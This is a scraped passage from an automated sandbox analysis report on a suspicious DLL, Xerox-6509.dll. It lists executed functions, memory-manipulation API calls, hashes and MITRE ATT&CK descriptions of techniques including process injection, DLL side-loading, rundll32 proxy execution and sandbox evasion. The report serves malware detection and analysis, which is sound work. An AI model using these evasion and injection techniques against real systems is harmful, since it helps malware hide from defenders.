GetLastError.KERNEL32 ref: 650C18DA

Strings

Mingw-w64 runtime failure:, xrefs: 650C17B8
Address %p has no image-section, xrefs: 650C191B
@, xrefs: 650C18BE
VirtualProtect failed with code 0x%x, xrefs: 650C18E0
VirtualQuery failed for %d bytes at address %p, xrefs: 650C1907

Memory Dump Source

Source File: 00000004.00000002.3213671751.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000004.00000002.3213638857.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213728132.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213763985.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213823331.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650c0000_rundll32.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQueryabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$@$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1616349570-4164700141
Opcode ID: 45359a25fb015cfbfb8d220c3e73ffa8612e0772df7d5406d3f28eeb4f6e7af6
Instruction ID: 23064235fefff0e83a7c0f4644c38a1a7cee8b9a1a676108ec0660b8706a1323
Opcode Fuzzy Hash: 45359a25fb015cfbfb8d220c3e73ffa8612e0772df7d5406d3f28eeb4f6e7af6
Instruction Fuzzy Hash: 274139B19083019BD710DF69E585B1EFBF0FF86354F458A6DE8999B200EB34D4498B93

Uniqueness

Uniqueness Score: -1.00%

Function 650C1020 Relevance: 9.1, APIs: 6, Instructions: 108
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,650C12C1,?,?,?,?,?,?,650C13D3), ref: 650C1057
_amsg_exit.MSVCRT ref: 650C1085

Memory Dump Source

Source File: 00000004.00000002.3213671751.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000004.00000002.3213638857.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213728132.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213763985.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213823331.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650c0000_rundll32.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: e7c054a2ddee5535433bfd020925d67d256a9a19331ce1b21dd22d07c453f5bc
Instruction ID: 8056c9a50c600942b6bd5d957f0a015dab4cc3f1d1f359d853af025bbfb5bf10
Opcode Fuzzy Hash: e7c054a2ddee5535433bfd020925d67d256a9a19331ce1b21dd22d07c453f5bc
Instruction Fuzzy Hash: 75419CB161C2418FEB10AF58F88171EB7E1FB83384F5545ADE8998B240DB79C492CB83

Uniqueness

Uniqueness Score: -1.00%

Function 650C2290 Relevance: 7.6, APIs: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_lock.MSVCRT ref: 650C22A9
_unlock.MSVCRT ref: 650C22D1
calloc.MSVCRT ref: 650C231F

Memory Dump Source

Source File: 00000004.00000002.3213671751.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000004.00000002.3213638857.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213728132.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213763985.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213823331.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650c0000_rundll32.jbxd

Similarity

API ID: _lock_unlockcalloc
String ID:
API String ID: 3876498383-0
Opcode ID: dae5b505a9e3136623ed03b113d272566d24cb3860815a5a9b0a4b469a5de83f
Instruction ID: 38270f413e406329ead8249206bbf7778efa92abc6e7da18eb0aa13143f1e6e7
Opcode Fuzzy Hash: dae5b505a9e3136623ed03b113d272566d24cb3860815a5a9b0a4b469a5de83f
Instruction Fuzzy Hash: BD215C706082028BD710DF68E88071EBBE1FF86310F54D6A8D8D98F698EB74D541CB93

Uniqueness

Uniqueness Score: -1.00%

Function 650C1930 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Unknown pseudo relocation protocol version %d., xrefs: 650C1B96
Unknown pseudo relocation bit size %d., xrefs: 650C1A34

Memory Dump Source

Source File: 00000004.00000002.3213671751.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000004.00000002.3213638857.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213728132.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213763985.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213823331.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650c0000_rundll32.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 0-395989641
Opcode ID: 9b6c74dc5dcd895973a31ad7b980feb7f0df1f99991119a18d669c05c8bdc65f
Instruction ID: 24a7dfb5c1aea5edf0e4941584232568479cae918c8fc4c8016d28222d553ef7
Opcode Fuzzy Hash: 9b6c74dc5dcd895973a31ad7b980feb7f0df1f99991119a18d669c05c8bdc65f
Instruction Fuzzy Hash: B1519E71A082158BCB10CF68E58075EB7F6FB87344F6682A5DD549B305E730E8068F93

Uniqueness

Uniqueness Score: -1.00%

Function 650C1BB0 Relevance: 5.0, APIs: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 650C1BBE
TlsGetValue.KERNEL32 ref: 650C1BE5
GetLastError.KERNEL32 ref: 650C1BEC
LeaveCriticalSection.KERNEL32 ref: 650C1C0C

Memory Dump Source

Source File: 00000004.00000002.3213671751.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000004.00000002.3213638857.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213728132.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213763985.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213823331.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650c0000_rundll32.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 9cea71b5bdcd8917bac591d9d6cb4f2b8f79f1eec9db0d6b38e8fcc11c6beac8
Instruction ID: e18b72448ed59540fff491a4f7df12c6765d68879d9dfd1c39d401d29c53b907
Opcode Fuzzy Hash: 9cea71b5bdcd8917bac591d9d6cb4f2b8f79f1eec9db0d6b38e8fcc11c6beac8
Instruction Fuzzy Hash: 89F044766043118BDB107FB9E8C5A1A7BB4FB46254B060578ED4547205EB30E44ACBA3

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 7744, Parent PID: 7720COMMON

Executed Functions

Function 04995DB5 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 201threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 049960AB

Strings

, xrefs: 04995FB7

Memory Dump Source

Source File: 00000005.00000003.1391184676.0000000004960000.00000020.00001000.00020000.00000000.sdmp, Offset: 04960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_4960000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-3916222277
Opcode ID: b4b40331543faf0df77daedfeace655052cab23ec515b4d38cb2d16a352350e5
Instruction ID: 21ad73d32daca0d3c792a387d78e2453ebfb85d933bf23748b8630e6fec608c3
Opcode Fuzzy Hash: b4b40331543faf0df77daedfeace655052cab23ec515b4d38cb2d16a352350e5
Instruction Fuzzy Hash: 6CA1D2B5909305DFDB50DF69C18475ABBF0BF88724F01896EE8988B351E735E984CB82

Uniqueness

Uniqueness Score: -1.00%

Function 049978A5 Relevance: 1.5, APIs: 1, Instructions: 45memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 049978EE

Memory Dump Source

Source File: 00000005.00000003.1391184676.0000000004960000.00000020.00001000.00020000.00000000.sdmp, Offset: 04960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_4960000_rundll32.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 6371d953e821364971e2c556ce0986786cb66222d9c56bdb2f423f9f4068da43
Instruction ID: 6e735c7fad3a1ed4d2d852ab8320911ef50296eee2b4ee53c833937900c12759
Opcode Fuzzy Hash: 6371d953e821364971e2c556ce0986786cb66222d9c56bdb2f423f9f4068da43
Instruction Fuzzy Hash: CE111DB4A0A3419FCB80DF6DC58061ABBF4BF89650F409C6EF998C7315E731E9448B92

Uniqueness

Uniqueness Score: -1.00%

Function 04997945 Relevance: 1.5, APIs: 1, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL ref: 04997986

Memory Dump Source

Source File: 00000005.00000003.1391184676.0000000004960000.00000020.00001000.00020000.00000000.sdmp, Offset: 04960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_4960000_rundll32.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: d7a76dc465dc2fb885f299a87e3a25ae2249767619dcfdf31fe6d3030ece63d3
Instruction ID: 076c1c77d62cfc370eb6f5ddb3fceb386f5df5624749cb2cc5e009bfc6d94cc3
Opcode Fuzzy Hash: d7a76dc465dc2fb885f299a87e3a25ae2249767619dcfdf31fe6d3030ece63d3
Instruction Fuzzy Hash: D9113DB590A341AFCB80EF69C58061ABBF5BF89650F409D6EF898C7315E731E9448B42

Uniqueness

Uniqueness Score: -1.00%

Function 04995FC6 Relevance: 1.6, APIs: 1, Instructions: 60threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 049960AB

Memory Dump Source

Source File: 00000005.00000003.1391184676.0000000004960000.00000020.00001000.00020000.00000000.sdmp, Offset: 04960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_4960000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: 0b8545f82357e8d61d467d7243ee2d5d7b58c47f4917b06ed294f69a32263076
Instruction ID: dcbc974405f67ee3d9103437480c6645284b21d3dc6ce5fd58a4dc6f4f92f21e
Opcode Fuzzy Hash: 0b8545f82357e8d61d467d7243ee2d5d7b58c47f4917b06ed294f69a32263076
Instruction Fuzzy Hash: B821A4B5A04700DFD754EF68D188B1ABBF0FF84710F118968E8888B755D735E888CB92

Uniqueness

Uniqueness Score: -1.00%

Function 049960BC Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 049960AB

Memory Dump Source

Source File: 00000005.00000003.1391184676.0000000004960000.00000020.00001000.00020000.00000000.sdmp, Offset: 04960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_4960000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: c1e54aa02e66ebe4a4ce65fe0e526cd77aa18f60bd90dbf7986bc84789a59adc
Instruction ID: a0b72af4d1ca78141585049736a0e0bbdb0f7dd512d146eb6f8eb34d737d9804
Opcode Fuzzy Hash: c1e54aa02e66ebe4a4ce65fe0e526cd77aa18f60bd90dbf7986bc84789a59adc
Instruction Fuzzy Hash: 672170B5908740DFD750EF68D184B5ABBF0FF88710F118969E8988B365D735E888CB92

Uniqueness

Uniqueness Score: -1.00%

Function 049968C5 Relevance: 1.5, APIs: 1, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,04997590), ref: 04996913

Memory Dump Source

Source File: 00000005.00000003.1391184676.0000000004960000.00000020.00001000.00020000.00000000.sdmp, Offset: 04960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_4960000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: afa18f40be867f49e0b919c6d48e4dbbde498f37124b4411c434495fb0fc6e1d
Instruction ID: 0ffcf863c7adfa5f20f1ba981d571f7d0b0d5b6350a498682fff4c04625d2011
Opcode Fuzzy Hash: afa18f40be867f49e0b919c6d48e4dbbde498f37124b4411c434495fb0fc6e1d
Instruction Fuzzy Hash: 28F086756083004BDB10AF6CE580A5BBBE4EB99754F14897DD88897345D634EC4187D2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 7820, Parent PID: 7628COMMON

Executed Functions

Function 00EB5DB5 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 201threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 00EB60AB

Strings

, xrefs: 00EB5FB7

Memory Dump Source

Source File: 00000006.00000003.1420871636.0000000000E80000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_e80000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-3916222277
Opcode ID: b4b40331543faf0df77daedfeace655052cab23ec515b4d38cb2d16a352350e5
Instruction ID: e48c04062ded3531bf197e7eccdc255ca004e0978f8efd6c83507052db265fa8
Opcode Fuzzy Hash: b4b40331543faf0df77daedfeace655052cab23ec515b4d38cb2d16a352350e5
Instruction Fuzzy Hash: 0FA1C1B59097059FC750DF28C18479ABBF0BF88714F00996EF8989B351E734E988CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00EB78A5 Relevance: 1.5, APIs: 1, Instructions: 45memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 00EB78EE

Memory Dump Source

Source File: 00000006.00000003.1420871636.0000000000E80000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_e80000_rundll32.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 6371d953e821364971e2c556ce0986786cb66222d9c56bdb2f423f9f4068da43
Instruction ID: 62b1e75ce7f61f8670d1145d84e6003aa00b633926f0bbdc99642ff862d6a7cf
Opcode Fuzzy Hash: 6371d953e821364971e2c556ce0986786cb66222d9c56bdb2f423f9f4068da43
Instruction Fuzzy Hash: 69113CB4A0A3419FC780DF69C58461ABBF0BF88650F40981EF9D8D7311E331D9448B52

Uniqueness

Uniqueness Score: -1.00%

Function 00EB7945 Relevance: 1.5, APIs: 1, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL ref: 00EB7986

Memory Dump Source

Source File: 00000006.00000003.1420871636.0000000000E80000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_e80000_rundll32.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: d7a76dc465dc2fb885f299a87e3a25ae2249767619dcfdf31fe6d3030ece63d3
Instruction ID: f9248008d213039357c8802959677625d5bfec3634f9e810dcdb1ca877b1cadb
Opcode Fuzzy Hash: d7a76dc465dc2fb885f299a87e3a25ae2249767619dcfdf31fe6d3030ece63d3
Instruction Fuzzy Hash: 61113DB590A341AFC780EF29C58461ABBF0BF89650F40AD6EF9D8D7315E731D9448B42

Uniqueness

Uniqueness Score: -1.00%

Function 00EB5FC6 Relevance: 1.6, APIs: 1, Instructions: 60threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 00EB60AB

Memory Dump Source

Source File: 00000006.00000003.1420871636.0000000000E80000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_e80000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: 0b8545f82357e8d61d467d7243ee2d5d7b58c47f4917b06ed294f69a32263076
Instruction ID: 16291087ee14e9b5f3c1c1b0b8284949016dca7825b8033bf54adf9dead4d025
Opcode Fuzzy Hash: 0b8545f82357e8d61d467d7243ee2d5d7b58c47f4917b06ed294f69a32263076
Instruction Fuzzy Hash: C121A5B5A04700DFD754EF68D188B5ABBF0FF84710F118968E8888B755D735D888CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00EB60BC Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 00EB60AB

Memory Dump Source

Source File: 00000006.00000003.1420871636.0000000000E80000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_e80000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: c1e54aa02e66ebe4a4ce65fe0e526cd77aa18f60bd90dbf7986bc84789a59adc
Instruction ID: 1231e646c402c8e0018b9f78965bb32b41b932d706b3c3bdab182a80e034a988
Opcode Fuzzy Hash: c1e54aa02e66ebe4a4ce65fe0e526cd77aa18f60bd90dbf7986bc84789a59adc
Instruction Fuzzy Hash: 5D217EB5908740CFD750EF68D184B5ABBF0FF88710F118969E8988B365D739D888CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00EB68C5 Relevance: 1.5, APIs: 1, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00EB7590), ref: 00EB6913

Memory Dump Source

Source File: 00000006.00000003.1420871636.0000000000E80000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_e80000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: afa18f40be867f49e0b919c6d48e4dbbde498f37124b4411c434495fb0fc6e1d
Instruction ID: ee8f524da1adec2b7da9a196a5c7e14e17ce5091b29c9bee8b1b79fc5a428fc0
Opcode Fuzzy Hash: afa18f40be867f49e0b919c6d48e4dbbde498f37124b4411c434495fb0fc6e1d
Instruction Fuzzy Hash: 7AF0A9756083014BD710FF68E58079BBBE0FBD9754F14996DD88867345D638D84187D2

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Xerox-6509.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Compliance

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: loaddll32.exePID: 7628, Parent PID: 4084

General

Chronological Activities

Windows Analysis Report
Xerox-6509.dll

Function 650C259A Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 205
nativememorythreadCOMMON

Function 650C2590 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 147
nativememorythreadCOMMON

Function 650C1600 Relevance: 7.6, APIs: 5, Instructions: 55
COMMON

Function 650C1540 Relevance: 7.6, APIs: 5, Instructions: 55
timethreadCOMMON

Function 650C15FC Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Function 650C1790 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 124
filememoryCOMMON

Function 650C1020 Relevance: 9.1, APIs: 6, Instructions: 108
sleepCOMMON

Function 650C2290 Relevance: 7.6, APIs: 5, Instructions: 61
COMMON

Function 650C1930 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 173
COMMON

Function 650C1BB0 Relevance: 5.0, APIs: 4, Instructions: 39
COMMON